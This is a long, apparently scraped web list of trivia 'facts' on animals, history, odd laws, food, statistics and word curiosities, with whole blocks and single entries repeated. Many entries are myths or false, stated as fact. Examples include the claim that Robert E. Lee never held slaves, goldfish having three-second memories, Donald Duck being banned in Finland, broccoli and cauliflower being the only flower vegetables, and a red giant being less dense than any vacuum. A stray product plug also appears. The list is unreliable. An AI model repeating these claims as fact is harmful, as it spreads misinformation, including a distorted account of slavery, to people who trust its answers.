From 13th June'1948 to 1st June'1958 a citizen of Los Angeles hiccoughed 160,000,000 times. People sent him 60,000 suggestions for cures.

From 1836 to 1896, the Red Flag Act in England required that any self-propelled vehicle be preceded by a man carrying a red flag by day and a red lantern by night. In effect, this limited the speed to four miles per hour and retarded the development of all self-propelled vehicles, including the automobile.

From 70 to 80 percent of all ripe olives are grown in California's approximately 35,000 acres. In the 1700s, Franciscan monks brought olives to Mexico and then into California by way of the missions. The first cuttings were planted in 1769 at the San Diego Mission. Commercial cultivation of California olives began in the late 1800s. Today, anywhere from 80,000 to 160,000 tons of olives are produced in California each year.

From the 1500's to the 1700's, tobacco was prescribed by doctors to treat a variety of ailments including headaches, toothaches, arthritis and bad breath.

From the Middle Ages up until the end of the 19th century, barbers performed a number of medical duties including bloodletting, wound treatment, dentistry, minor operations and bone-setting. The barber's striped red pole originated in the Middle Ages, when it was a staff the patient would grip while the barber bled the patient.

Fuzzy Zoeller defeated Tom Watson and Ed Sneed in the first sudden-death playoff at The Masters in 1979.

G.I. Joe was introduced at the annual American International Toy Fair in New York on Feb. 9, 1964.

Gabriel, Michael, and Lucifer are the only angels named in the Bible.

Gabriel, Michael, and Lucifer are the three angels mentioned by name in the Bible.

Gaetano Albert "Guy" Lombardo did the first New Year's Eve broadcast of "Auld Lang Syne," from the Roosevelt Grill in New York City in 1929/1930.

Galileo became totally blind shortly before his death.

Gargling in public is against the law in Louisiana.

Gatorade was named for the University of Florida Gators where it was first developed.

General Robert E. Lee was not a slaveholder and never believed in slavery. He never believed in secession from the United States and strongly condemned it. He decided to lead the armies of the South because he wanted nothing to happen to his beloved Virginia.

General Stonewall Jackson has two separate burial sites one for his amputated left arm (Fredericksburg, VA) and one for the rest of his body (Lexington, VA). Jackson’s left arm was shattered during the Battle of Chancellorsville by friendly fire and was amputated the next day. He died a week later. (8-1-02)

George Crum invented potato chips in 1853 at the Moon Lake Lodge in Saratoga Springs, New York. Crum was part Indian, part black, a former guide in the Adirondacks.

George Hancock invented a new game on November 30, 1887. It was played like baseball, except a broomstick was used for a bat and a boxing glove was the ball. Since the game was played indoors, it was originally called "indoor." Walter Hakanson later renamed it "softball."

George Harrison, with "My Sweet Lord," was the first Beatle to have a Number 1 hit single following the group's breakup.

George Orwell, author of Animal Farm and 1984, wrote under a pen name. His real name was Eric Blair.

George Washington had to borrow money to go to his own inauguration.

George Washington named Washington D.C. "Federal City." It was changed to "Washington D.C." after his death.

George Washington who commanded the Continental Army as a four-star general was promoted posthumously to the position of six-star "General of the Armies of Congress" by an order of Jimmy Carter, who felt America's first President should also be America's highest military official.

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Domestic cats hate lemons or other citrus scents.

Dominica, Mexico, Zambia, Kiribati, Fiji and Egypt all have birds on their flags.

Dominique Larrey, Napoleon's chief surgeon, could amputate a leg in 13 seconds.

Don Mac Lean's song "American Pie" was written about Buddy Holly, Ritchie Valens and J.P. Richardson (The Big Bopper), who all died in the same plane crash.

Don Quixote, by Miguel de Cervantes Saavedra, has been translated into more languages than any book outside of the Bible.

Donald Duck comics were banned from Finland because he doesn't wear pants.

Donald Duck lives at 1313 Webfoot Walk, Duckburg, Calisota.

Donald Duck's middle name is Fauntleroy.

Donkeys kill more people annually than plane crashes

Don't even think about having sex while in a moving ambulance in Tremonton, Utah as it is very, very illegal. Of course, a stationary ambulance is another story.

Dr. Alice Chase, who wrote 'Nutrition for Health', died of malnutrition. (not verified)

Dr. George F. Grant received U.S. patent number 638,920 on December 12, 1899. His invention? The golf tee. He created it because he didn't want to get his hands dirty by building a mound of dirt to place his ball on.

Dr. Guillotin merely proposed the machine that bears his name (which was rejected by the crown) and he never made a working model. The first working model was made by his assistant years later. When the machine attained infamy in the French Revolution, Dr.Guillotin protested its use and went to his grave claiming that the machine was unjustly named after him.

Dr. Joel Poinsett, the 1st US ambassador to Mexico, brought the poinsettia to US in 1828. The plant, called "flower of the blessed night" in Mexico was renamed in Poinsett's honor.

Dr. Seuss pronounced his name "soyce".

Dr. Seuss wrote "Green Eggs and Ham" after his editor dared him to write a book using fewer than 50 different words.

Draftsmen have to make 27,000 drawings for the manufacturing of a new car.

Dragonflies are one of the fastest insects, flying 50 to 60 mph.

Dragonfly larvae develop under the water and eject water from their anus to propel them for short distances

Dreamt is the only English word that ends in the letters "MT".

Dry ice does not melt, it evaporates.

Dry wine is a wine that has been completely fermented, meaning that only 0.1% of the sugar remains.

Due to precipitation, for a few weeks K2 was bigger than Mt Everest.

Dueling is legal in Paraguay as long as both parties are registered blood donors.

Duffel bags are named after a town of Duffel, Belgium, where they were first made.

Dunkirk, France is the site of the largest military evacuation in history. During World War II, some 340,000 Allied troops were evacuated to England. The retreat by sea took place between May 26 and June 4, 1940.

During a severe windstorm or rainstorm the Empire State Building may sway several feet to either side.

During conscription for World War II, there were nine documented cases of men with three testicles.

During Hell Week (the most grueling portion of training) the trainees get 4 hours of sleep.

During his entire life, Vincent Van Gogh sold exactly one painting, "Red Vineyard at Arles".

During his entire lifetime, Herman Melville's timeless classic of the sea, 'Moby Dick', only sold 50 copies.

During his lifetime Paganini published only five compisitions. He didn't expect anybody to be able to play them, and at that time nobody could.

During its entire life time a housefly never travels more than a hundred feet from the place where it was born.

During pregnancy, the average woman's uterus expands up to five hundred times its normal size.

During the 1600's, boys and girls in England wore dresses until they were about seven years old.

During the Alaskan Klondike gold rush, (1897-1898) potatoes were practically worth their weight in gold. Potatoes were so valued for their vitamin C content that miners traded gold for potatoes.

During the American Civil War the Union soldiers were issued eight pounds of ground roasted coffee as part of their personal ration of one hundred pounds of food. And they had another choice: ten pounds of green coffee beans.

During the average human life, you will consume 70 assorted bugs as well as 10 spiders whilst you sleep.

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Boiled grape juice was the fluid used as a lubricant for the first contact lenses. Eugene Flick, who invented contact lenses in 1887, chose boiled grape juice over sugar water to lubricate the thick glass lenses that covered the entire eye.

Books on religion outnumbered works of fiction by a 2 to 1 margin in 1870 England. Sixteen years later, novels surpassed religious works.

Born on November 2, 1718, British politician, John Montagu, the 4th Earl of Sandwich, is credited with naming the 'sandwich.' He developed a habit of eating beef between slice of toast so he could continue to play cards uninterrupted.

Both George Washington and Thomas Jefferson grew cannabis sativa (marijuana) on their plantations.

Both Hitler and Napoleon were missing one testicle.

Bourbon whiskey gets its name from Bourbon County, Kentucky, where local distillers developed the drink around 1800.

Bowlers are allowed to have a maximum of five finger grip holes on a regulation bowling ball.

Boy George used to go out with his drummer.

Bozeman, Montana, has a law that bans all sexual activity between members of the opposite sex in the front yard of a home after sundownif they're nude. (Apparently, if you wear socks, you're safe from the law!)

Brabara Cartland is the world's top-selling author with over 500 million copies sold.

Brain damage occurs at an internal temperature of 105 degrees Fahrenheit.

Brazil accounts for almost 1/3 of the world's coffee production, producing over 3-1/3 billion pounds of coffee each year.

Brazil got its name from the nut, not the other way round.

Brazil is the fifth largest country in the world (behind Russia, Canada, China and the United States). It’s only 300,000 square miles smaller than the United States. Australia, India, Argentina, Kazakhstan and the Sudan round out the Top 10.

Brazil is the location of the worlds widest road. 160 cars can drive side by side.

Brazil is the only country to have played in every World Cup soccer tournament.

Brigham Young invented the department store. Zion's Cooperative Mercantile Institution (ZCMI as it's known to those in Utah) is still in operation in Salt Lake City.

Britain's first escalator was installed in Harrods in 1878.

Britain's present royal family was originally named Saxe-Coburg and Gotha. The name was changed in 1917, during WW1 because of German connotations. The name Windsor was suggested by one of the staff. At the same time the Battenberg family name of the cousins to the Windsors was changed into Mountbatten.

Broccoli and cauliflower are the only vegetables that are flowers.

Brown eggs come from hens with red feathers and red ear lobes; white eggs come from hens with white feathers and white ear lobes.

Bruce Lee was so fast that they actually had to slow film down so you could see his moves.

Bruce Lee was the Hong Kong 'cha cha' dance champion in 1958 He was also an American born in San Francisco and had a German grandfather.

Bubble gum contains rubber.

Buckingham Palace has 602 rooms.

Bullet proof vests, fire escapes, windshield wipers and laser printers were all invented by women.

Bullfrog Dietrich of the Chicago White Sox was the first pitcher to throw a no-hitter while wearing eyeglasses. He did it in 1937.

Bulls are colorblind, it is the motion of the cape which angers them.

Bulls are not attracted to the color red

Bulls don't really get angry when they see the color red, it's really movement that makes them charge.

Bumping foreheads with a hands shake is the traditional greeting in Tibet.

Bunny rabbits poop almost every time they hop around in a newly-explored area.

Butterflies cannot fly if their body temperature is less than 86 degrees.

Butterflies taste with their feet.

BVD stands for the organizers of the company: Bradley, Voorhies, and Day.

By 1850, the manual coffee grinder found its way to most upper middle class kitchens of the U.S.

By age sixty, most people have lost half of their taste buds.

By feeding hens certain dyes they can be made to lay eggs with varicolored yolks.

By raising your legs slowly and laying on your back, you cannot sink into quicksand.

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Approximately 25,000 workers died during the building of the Panama Canal, and approximately 20,000 of them contracted malaria and yellow fever.

Approximately 40,000 tons of meteoric dust hits the Earth each year.

Approximately 850 peanuts make a 18 oz jar of peanut butter.

Approximately one out of four injuries by athletes involve the wrist and hand.

Arabic numerals are not really Arabic; they were invented in India.

Argentineans eat more meat than any other nation in the world an average of 10 ounces per person per day.

Aristedes won the first Kentucky Derby in 1875.

Armadillos along with humans are the other creatures that can contract leprosy.

Armadillos can be house broken.

Armadillos can have up to four babies at a time and they are always all the same sex.

Armored knights raised their visors to identify themselves when they rode past their king. This custom has become the modern military salute.

Army doctor D.W. Bliss attended to two presidents after they were shot by assassins. In 1865 he was one of the 16 doctors who tried to save Abraham Lincoln. In 1881 he supervised the care of James Garfield.

Around 2,000 left-handed people die annually due to improper use of equipment designed only for right handed people.

Around 22% of Americans are teenagers.

Around the 16th century the Yo-Yo was used by Philipinos to stun prey from trees.

Arrowroot, an antidote for poisoned arrows, is used as a thickener in cooking.

As artists and traders in medieval cities began to form organizations, they instituted tough initiation ceremonies. For example, journeymen in Bergen, Norway, were shoved down a chimney, thrown three times into the sea, and soundly whipped.

As bananas ripen, the starch in the fruit turns to sugar. Therefore, the riper the banana the sweeter it will taste.

As late as 1820, the universe was thought to be 6,000 years old. It is now thought to be between 15 and 20 billion years old.

As mentioned, the first Fords used Dodge engines. Many ford vehicles now use Nissan engines, especially in Mini-vans.

As much as 80% of microwaves from mobile phones are absorbed by YOUR HEAD! visit microshield

As of 14.10.2003, only 0.6% of people actually sign the guestbook. Its true. Over 120,000 visitors. Yes, the statistic did go down.

As of 1996, Hee Haw holds the record for the longest running weekly first-run syndicated show in the history of television. It spanned over 4 decades, from the late '60s to the early '90s, airing every Saturday night at 7:00.

As of 2004, there are two men for every woman in the United Arab Emirates.

As of Dec. 31, 2000, the number of climbers summiting Mt. Everest reached 1314, and the number of deaths on the mountain reached 167.

As specified by the Christian church, the canonical hours are matins, lauds, prime, terce, sext, none, vespers, and compline.

Aspirin was the first drug offered as a water-soluble tablet in 1900.

Aspirin went on sale as the first pharmaceutical drug in 1899, after Felix Hoffman, a German chemist at the drug company Bayer, successfully modified Salicylic Acid, a compound found in willow bark to produce Aspirin.

Assuming that all the offspring survived, 190,000,000,000,000,000,000 flies could be produced in four months by the offspring of a single pair of flies.

Astronaut John Glenn ate the first meal in space when he ate pureed applesauce squeezed from a tube aboard Friendship 7 in 1962.

Astronaut L. Gordon Cooper was so relaxed on the morning of his launch into space in May 1963 that he fell asleep in his space capsule while waiting for blastoff.

Astronaut Neil Armstrong first stepped on the moon with his left foot.

Astronauts are not allowed to eat beans before they go into space because passing wind in a spacesuit damages them.

Astronauts become between two and three inches taller when in space.

Astronauts brought back about 800 pounds of lunar rock to Earth. Most of it has not been analyzed.

Astronauts grow taller in space

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Although the Pony Express was one of the most famous chapters in U.S. history, it only lasted one year, from 1860-61.

Amazon ants (red ants found in the western U.S.) steal the larvae of other ants to keep as slaves. The slave ants build homes for and feed the Amazon ants, who cannot do anything but fight. They depend completely on their slaves for survival.

Amelia Earhart designed the first lightweight luggage for air travel.

American Airlines saved $40,000 in 1987 by eliminating 1 olive from each salad served in first-class.

American and Russian space flights have always included chocolate.

American car horns beep in the tone of F.

American chocolate manufacturers use about 1.5 billion pounds of milk -only surpassed by the cheese and ice cream industries.

Americans are responsible for about 1/5 of the world's garbage annually. On average, that's 3 pounds a day per person.

Americans consume 42 tons of aspirin per day.

Americans consumed over 3.1 billion pounds of chocolate in 2001, which is almost half of the total world's production.

Americans drink about five billion bottles and cans of soda, and about a billion and a half pounds of coffee every year.

Americans drink over a billion pounds of coffee every year and around five million bottles of soda.

Americans eat more bananas than any other fruit: a total of 11 billion a year.

Americans on average eat 18 acres of pizza every day.

Americans spend approximately $25 billion each year on beer.

Americans spend more than $5 billion a year on cosmetics, toiletries, beauty parlors and barber shops.

Americans spent an estimated $267 billion dining out in 1993.

Americans spent over $360 million in 1982 to avoid having bad breath.

Americans use about 100 million pounds of tea leaves every year.

Americans use over 16, 000 tons of aspirin a year.

Americans, on average, eat 18 acres of pizza in one day.

America's first nudist organization was founded in 1929, by 3 men.

America's first stock exchange was the Philadelphia Stock Exchange, established in 1791.

Among primitive people the soul normally is said to escape through the mouth or nose. In the Celebes, when a person is very sick, his friends will often attach fish hooks in certain places. If the soul tries to escape, it gets hooked.

Among transsexuals who choose sex-change operations, females who elect to become males are reportedly happier and better adjusted after the procedures than males who elect to become female.

Among words consisting only of Roman numeral letters, the "highest scoring" words in English are MIMIC (2,102) and IMMIX (2012).

An adult lion's roar can be heard up to five miles away, and warns off intruders or reunites scattered members of the pride.

An adult male ostrich, the world's largest bird, can weigh up to 345 pounds.

An adult porcupine has approximately 30,000 quills on its body, which are replaced every year.

An African American chef in Albany, NY is thought to have been the inventor of potato chips sometime in 1865. Unfortunately, nobody knows his name.

An albatross can sleep while it flies. It apparently dozes while cruising at 25 mph.

An American cow called Fawn was not afraid of flying. In May 1963, she was swept up by a tornado and carried half a mile, only to land safely in another farmer's field. Five years later, another tornado carried her over a bus. She survived this too, and lived to the ripe old age of 25.

An American urologist bought Napoleon's penis for $40,000.

An animal epidemic is called an epizootic.

An ant always falls over on its right side when intoxicated.

An ant can survive for up to two days underwater.

An ant's sense of smell is as good as a Dog's.

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Abe Lincoln's mother died when the family dairy cow ate poisonous mushrooms and Ms. Lincoln drank the milk.

About 10% of the world's population is left-handed.

About 10,000,000 people have the same birthday as you.

About 100 people choke to death on ballpoint pens each year.

About 20% of bird species have become extinct in the past 200 years, almost all of them because of human activity.

About 200,000,000 M&Ms are sold each day in the United States.

About 24% of the total ground area of Los Angeles is said to be committed to automobiles.

About 55% of all movies are rated R. About 500 movies are made in the US and 800 in India annually.

About 70% of Americans who go to college do it just to make more money.

About 75% of the people in the U.S. live on 2% land.

About 80% of the city was burned in the Great Fire of London in 1666.

About a third of all Americans flush the toilet while they're still sitting on it.

About one-tenth of the earth's surface is permanently covered with ice.

Abraham Lincoln had to go across the street to the War Department to get news from the battlefield because there was no telegraph in the White House.

Abraham Lincoln's ghost is said to haunt the White House.

Absinthe is another name for the herb wormwood (Artemisia absinthium) and the name of a licorice-anise flavored green liqueur that was created at the end of the 18th century, and manufactured by Henry-Louis Pernod. Called the 'green Muse' it became very popular in the 19th century, but was eventually banned in most countries beginning in 1908. The reason is the presence of the toxic oil 'thujone' in wormwood, which was one of the main ingredients of Absinthe. Absinthe seemed to cause brain lesions, convulsions, hallucinations and severe mental problems. Thujone was the culprit, along with the fact that Absinthe was manufactured with an alcohol content of 68% or 132 proof.

Absolutely pure gold is so soft that it can be molded with the hands.

According to a global survey in 1997 by Durex Condoms Canadians are the world's fourth worst lovers. The worst three slots belong to South Africa, Russia, and Poland.

According to a recent survey, more Americans lose their virginity in June than any other month.

According to an Old English system of time units, a moment is considered to be one and a half minutes.

According to bar sales across the U.S., here are the top 15 cocktails: 1) Dry martini, 2) Manhattan, 3) Whiskey sour, 4) Bloody Mary, 5) Gimlet, 6) Daiquiri, 7) Tom Collins, 8) Old Fashioned, 9) Margarita, 10) Screwdriver, 11) Bacardi, 12) Stinger, 13) Harvey Wallbanger, 14) Gin & Tonic, and 15) Rum & Coke

According to Bristol zoo, the Howler monkey's growl is so loud, it can be heard 5km (3.3 miles for u Americans) away.

According to German researchers, the risk of heart attack is higher on Monday than any other day of the week.

According to Hammurabi's Code, the penalty for medical malpractice was to cut off the doctor's hands.

According to Hawaiian lore, the earth mother Papa mated with the sky father Wakea to give birth to the Hawaiian Islands.

According to Illinois state law, it is illegal to speak English. The officially recognized language is "American."

According to L. Frank Baum, the name Oz was thought up when he looked at his filing cabinet and noticed one drawer marked A-G, a second tagged H-N, and a third labeled O-Z.

According to legend, when Burmese women are making beer, they need to avoid having sex or the beer will be bitter.

According to National Geographic, Mt. Everest grows about 4 millimeters a year: the two tectonic plates of Asia and India, which collided millions of years ago to form the Himalayas, continue to press against each other, causing the Himalyan peaks to grow slightly each year

According to Playboy, more women talk dirty during sex than men.

According to Playboy, the most popular sexual aid is erotic literature.

According to Scandinavian folklore, trolls only come out at night because sunlight would turn them to stone.

According to statistics, Australian women are the most likely to have sex on the first date.

According to the 1900 U.S. Census, there were: 596,000 carpenters, 280,000 laundresses, 220,000 blacksmiths, 134,000 tailors, 102,000 shoemakers, 42,000 porters, 37,000 stonecutters, 25,000 millers, 8,000 bootblacks, and 7,000 furriers

According to the film's animators, you'll see 6,469,952 black spots every time you watch 101 Dalmatians.

According to the Guinness Book of World Records, the Finnish word SAIPPUAKIVIKAUPPIAS a soapstone seller is the longest known palindrome in any language.

According to the Guinness Book of World Records, the single-seeded fruit of the giant fan palm, or Lodoicea maldivica, can weigh 44 lbs. Commonly known as the double coconut or coco de mer, it is found wild only in the Seychelles in the Indian Ocean.

According to the International Labor Organization, a member of the labor force is someone between the age of 15 and 64.

According to the Kinsey Institute, the biggest erect penis on record measures 13 inches. The smallest tops off at 1 3/4 inches.

According to the Population Council, people overwhelmingly tend to marry partners who live near them.

According to the U.S. Bureau of the Census, the most common job in the United States in the 1890s was a farmer. Today, it’s a salesman.

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A pineapple is a berry.

A poem written to celebrate a wedding is called an epithalamium.

A polar bears skin is black. Its fur is actually clear, but like snow it appears white.

A pole vaulter, when he lands, may absorb up to 20,000 pounds of pressure per square inch on the joints of his tubular thigh bones.

A polecat is not a cat. It is a nocturnal European weasel.

A poll of 3,000 Americans found that for 41 percent, the thing they're most afraid of is speaking before a group of people. 32 percent stated they were afraid of heights.

A porpoise swims slowly in a circle as it sleeps.

A Portsmouth, Ohio law ranks baseball players with "vagrants, thieves and other suspicious characters."

A pound of grasshoppers is three times as nutritious as a pound of beef.

A pregnant goldfish is called a twit

A quarter of raw potato placed in each shoe at night will keep the leather soft and the shoes smelling fresh and clean.

A quarter of the horses in the US died of a vast virus epidemic in 1872.

A queen bee lays about 1,500 eggs on an average day.

A raisin dropped in a glass of fresh champagne will bounce up and down continuously from the bottom of the glass to the top.

A rat can go without water longer than a camel can.

A rattlesnake's fangs fold inward when its mouth is closed so it doesn't bite itself.

A recent study indicates when men crave food, they tend to crave fat and salt. When women crave food, they tend to desire chocolate.

A Red Giant(a kind of exploded star) has a lower density than any vacuum here on earth

A rhinoceros horn is made of compacted hair.

A Saudi Arabian woman can get a divorce if her husband doesn't give her coffee.

A scientific report form the University of California found that the steam rising from a cup of coffee contains the same amounts of antioxidants as three oranges. The antioxidants are heterocyclic compounds which prevents cancer and heart disease. It's good for you!

A scientist who weighed people immediately before and after death concluded that the human soul weighs 21 gms.

A scrum in rugby is equivalent of a hockey face-off, except that it involves all playing the forward position on both teams.

A SEAL's weapon of choice is the Heckler and Koch MP-5 submachine gun.

A shark can detect one part of blood in 100 million parts of water.

A shark can grow a new set of teeth in a week.

A shark is the only fish that can blink with both eyes.

A shrimp's heart is in its head.

A single drop of water contains one hundred billion billion atoms.

A single share of Coca-Cola stock, purchased in 1919, when the company went public, would have been worth $92,500 in 1997.

A snail can actually glide over the sharp edge of a knife or razor without harming itself. This has something to do with the mucus it produces.

A snail can have about 25,000 teeth.

A snail can sleep for 3 years.

A snail can travel over a razor blade without cutting itself.

A sneeze can exceed the speed of 100 mph.

A soccer ball has 32 panels.

A speleologist studies caves.

A Sphygmomanometer measures blood pressure.

A spremologer collects trivia.

A starfish can turn its stomach inside out.

A state law in Illinois mandates that all bachelors should be called master, not mister, when addressed by their female counterparts.

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A crocodiles tongue is attached to the roof of its mouth.

A cucumber is 96% water.

A Dalmatian is the only dog that can get gout.

A day on the planet Mercury is twice as long as its year.

A decree declares that anyone caught stealing soap must wash himself with it until it is all used up.

A dentist invented the Electric Chair.

A device invented sometime around the time of the birth of Jesus as a primitive steam engine by the Greek engineer Hero is used today as a rotating sprinkler.

A diamond will not dissolve in acid. The only thing that can destroy it is intense heat.

A dime has 118 ridges around the edge. A quarter has 119.

A dog can hear high frequency sounds, which a human ear cannot.

A donkey will sink in quicksand but a mule will not.

A dragonfly can fly 25 mph.

A dragonfly has a life span of 24 hours.

A dragonfly is also known as "devil's darning needle", "horse stinger" and "devil's steelyard".

A Fag is to work hard or to tire by strenuous activity and cigarettes are sometimes called Fags

A fagot is a bundle of sticks or a bundle of pieces of wrought iron to be shaped by rolling or hammering at high temperature.

A father Emperor penguin withstands the Antarctic cold for 60 days or more to protect his eggs, which he keeps on his feet, covered with a feathered flap. During this entire time he doesn't eat a thing. Most father penguins lose about 25 pounds while they wait for their babies to hatch. Afterward, they feed the chicks a special liquid from their throats. When the mother penguins return to care for the young, the fathers go to sea to eat and rest.

A father sea catfish keeps the eggs of his young in his mouth until they are ready to hatch. He will not eat until his young are born, which may take several weeks.

A female ferret will die if it goes into heat and cannot find a mate.

A female mackerel lays about 500,000 eggs at one time.

A female swine or sow will always have an even number of teats or nipples.

A fetus acquires fingerprints at the age of three months.

A fingernail or toenail takes about 6 months to grow from base to tip.

A fish's memory span is 3 seconds.

A five and a half year old weighing 250 pounds was exhibited at a meeting of the Physical Society of Vienna on December 4, 1894. She ate a normal diet and was otherwise in good health. The problem: she wasn't able to sweat.

A flea can jump 350 times is own body length. (say..you jumping the length of a soccer field)thanx seraph

A flock of sheep grazed during Woodrow Wilson's term. Their wool was sold to raise money for the Red Cross during World War I.

A fly always jumps backwards for a quick getaway when you try to hit it.

A fly hums in the middle octave, key F.

A foal is a baby horse.             

A full moon is nine times brighter than a half moon.

A full-grown bear can run as fast as a horse.

A full-grown pumpkin has about 15 miles of roots.

A ghost writer pens an anonymous book.

A giant squid has eyes that can grow up to 20 inches in diameter. (Now think of how big your computer screen is..)

A giraffe and rat can go longer without water than a camel can.

A giraffe can clean its ears with its 21-inch tongue. i know some people who can do some amazing stuff too.

A goldfish has a memory span of 3 seconds.

A googol is a 1 followed by 100 zeros. Mathematician Edward Kasner supposedly asked his nephew Milton Sirotta to suggest a name for the number, and he came up with this word.

A grasshopper needs a minimum temperature of 62 degrees Fahrenheit in order to be able to hop.

A group od geese on the ground is a gaggle, a group in the air is a skein.

A group of crows is called a murder.

A hamlet is a village without a church and a town is not a city until it has a cathedral.

A hard-boiled egg will spin. An uncooked or soft-boiled egg will not.

A healthy (non-colorblind) human eye can distinguish between 500 shades of gray.

A healthy individual releases 3.5 oz. of gas in a single flatulent emission, or about 17 oz. in a day.

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85,000,000 tons of paper are used in the United States each year.

28% of Africa is classified as wilderness. In North America, its 38%.

Charlie Chaplin once won third prize in a Charlie Chaplin look-alike contest.

Chewing gum while peeling onions will keep you from crying.

90% of bird species are monogamous; only 3% of animals are.

90% of New York City cab drivers are recently arrived immigrants.

98% of all murders and rapes are by a close family member or friend of the victim.

98% of the weight of water is made up from oxygen.

99% of the pumpkins sold in the US end up as jack-o-lanterns.

A "2 by 4" is really 1 1/2 by 3 1/2.

A "Blue Moon" is the second full moon in a calendar month (it is rarely blue).

A "hairbreadth away" is 1/48 of an inch.

A "jiffy" is actually a proper time unit for 1/100th of a second

A "quidnunc" is a person who is eager to know the latest news and gossip.

A 1,200-pound horse eats about seven times it's own weight each year.

A 1.5 oz. milk chocolate bar has only 220 calories. A 1.75 oz. serving of potato chips has 230 calories.

A 10-gallon hat actually only holds about 3/4 gallon.

A 14-year old French girl had extraordinary electrical power. With a gentle touch she could knock over heavy pieces of furniture and people in physical contact with her received an electrical shock.

A 17 year old girl from Miami, Florida started to sneeze on 4th January'66 ant continued till 8th June'66.

A 6 pound sea-hare can lay 40,000eggs in a single minute.

A 7-year study, which concluded in the summer of 2000, found that 33 U.S. deaths were caused by rottweilers, pit bulls were responsible for 27 deaths.

A acre of coffee trees can produce up to 10,000 pounds of coffee cherries. That amounts to approximately 2000 pounds of beans after hulling or milling.

A B-25 bomber crashed into the 79th floor of the Empire State Building on July 28, 1945.

A Baboon called "Jackie" became a private in the South African army in World War I.

A bat is the only mammal that flies.

A bathometer is an instrument for indicating the depth of the sea beneath a moving vessel.

A bean has more DNA per cell than a human cell

A bee could travel 4 million miles (6.5 million km) at 7 mph (11 km/h) on the energy it would obtain from 1 gallon (3.785 liters) of nectar, or it could just sit down on and enjoy that honey properly.

A beaver's teeth never stop growing.

A bibliophile is a collector of rare books. A bibliopole is a seller of rare books.

A bird requires more food in proportion to its size than a baby or a cat.

A Blue Earth, Minnesota, law declares that no child under the age of twelve may talk over the telephone unless monitored by a parent.

A blue whales heart only beats nine times per minute.

A body decomposes four times as fast in water than on land.

A Boeing 747's wingspan is longer than the Wright brother's first flight.

A bowling pin only needs to tilt 7.5 degrees to fall.

A broken clock is right at least twice a day.

A butterfly can look at you through 12,000 eyes.

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85,000,000 tons of paper are used in the United States each year.

28% of Africa is classified as wilderness. In North America, its 38%.

Charlie Chaplin once won third prize in a Charlie Chaplin look-alike contest.

Chewing gum while peeling onions will keep you from crying.

90% of bird species are monogamous; only 3% of animals are.

90% of New York City cab drivers are recently arrived immigrants.

98% of all murders and rapes are by a close family member or friend of the victim.

98% of the weight of water is made up from oxygen.

99% of the pumpkins sold in the US end up as jack-o-lanterns.

A "2 by 4" is really 1 1/2 by 3 1/2.

A "Blue Moon" is the second full moon in a calendar month (it is rarely blue).

A "hairbreadth away" is 1/48 of an inch.

A "jiffy" is actually a proper time unit for 1/100th of a second

A "quidnunc" is a person who is eager to know the latest news and gossip.

A 1,200-pound horse eats about seven times it's own weight each year.

A 1.5 oz. milk chocolate bar has only 220 calories. A 1.75 oz. serving of potato chips has 230 calories.

A 10-gallon hat actually only holds about 3/4 gallon.

A 14-year old French girl had extraordinary electrical power. With a gentle touch she could knock over heavy pieces of furniture and people in physical contact with her received an electrical shock.

A 17 year old girl from Miami, Florida started to sneeze on 4th January'66 ant continued till 8th June'66.

A 6 pound sea-hare can lay 40,000eggs in a single minute.

A 7-year study, which concluded in the summer of 2000, found that 33 U.S. deaths were caused by rottweilers, pit bulls were responsible for 27 deaths.

A acre of coffee trees can produce up to 10,000 pounds of coffee cherries. That amounts to approximately 2000 pounds of beans after hulling or milling.

A B-25 bomber crashed into the 79th floor of the Empire State Building on July 28, 1945.

A Baboon called "Jackie" became a private in the South African army in World War I.

A bat is the only mammal that flies.

A bathometer is an instrument for indicating the depth of the sea beneath a moving vessel.

A bean has more DNA per cell than a human cell

A bee could travel 4 million miles (6.5 million km) at 7 mph (11 km/h) on the energy it would obtain from 1 gallon (3.785 liters) of nectar, or it could just sit down on and enjoy that honey properly.

A beaver's teeth never stop growing.

A bibliophile is a collector of rare books. A bibliopole is a seller of rare books.

A bird requires more food in proportion to its size than a baby or a cat.

A Blue Earth, Minnesota, law declares that no child under the age of twelve may talk over the telephone unless monitored by a parent.

A blue whales heart only beats nine times per minute.

A body decomposes four times as fast in water than on land.

A Boeing 747's wingspan is longer than the Wright brother's first flight.

A bowling pin only needs to tilt 7.5 degrees to fall.

A broken clock is right at least twice a day.

A butterfly can look at you through 12,000 eyes.

A Californian doctor has set the record of eating 17 bananas in two minutes.

A Canadian tattoo artist had 4,831 tattoos on his body.

A capon is a castrated rooster.

A cat has 32 muscles in each ear.

A cat has 4 rows of whiskers.

A cat uses it's whiskers to determine if a space is too small to squeeze through.

A chameleon can move its eyes in two directions at the same time.

A chameleon's tongue is twice the length of its body.

A Cheetah at full speed takes strides of 8 meters.

A cheetah is the fastest animal, clocked in at: 70mph.

A chef's hat is tall and balloons at the top so as to counteract the intense heat in the kitchen. The unique shape allows air to circulate around the scalp, keeping the head cool.

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Stewardesses" is the longest word that can be typed with only the left hand.

"Tautonyms" are scientific names for which the genus and species are the same.

"Taxi" is spelled exactly the same in English, French, German, Swedish, Portuguese, and Dutch.

"Teh" means "cool" in Thai. (Pronounced "tay").

"The sixth sick sheik's sixth sheep's sick" is said to be the toughest tongue twister in English.

"THEREIN" is a seven-letter word that contains thirteen words spelled using consecutive letters: the, he, her, er, here, I, there, ere, rein, re, in, therein, and herein.

"Underground" is the only word in the English language that begins and ends with the letters "und." $203,000,000 is spent on barbed wire each year in the U.S.

1 and 2 are the only numbers where they are values of the numbers of the factors they have.

1 in 5,000 north Atlantic lobsters are born bright blue.

1 in every 3 people in the country of Israel use a cell phone.

1 kg (2.2 pounds) of lemons contain more sugar than 1 kg of strawberries.

1,525,000,000 miles of telephone wire are strung across the Unites States.

1.7 litres of saliva is produced each day. In Discovery Channel, its a quart.

10 percent of all human beings ever born are alive at this very moment.

10% of human dry weight comes from bacteria

11% of the world is left-handed.

111, 111, 111 X 111, 111, 111 = 12, 345, 678, 987, 654, 321

1200 equals 1 pound (72 rupees).

123,000,000 cars are being driven on highways in the United States.

166,875,000,000 pieces of mail are delivered each year in the United States.

1959's A Raisin in the Sun was the first play by a black woman to be produced on Broadway.

2 and 5 are the only prime numbers that end in 2 or 5.

203 million dollars is spent on barbed wire each year in the U.S.

22,000 checks will be deducted from the wrong bank accounts in the next hour.

23% of all photocopier faults worldwide are caused by people sitting on them and photocopying their buttocks.

25% of a human's bones are in its feet.

259200 people die every day.

27% of Americans believe we never landed on the moon.

27% of U.S. male college students believe life is "a meaningless existential hell."

3% of all mammals are monogamous

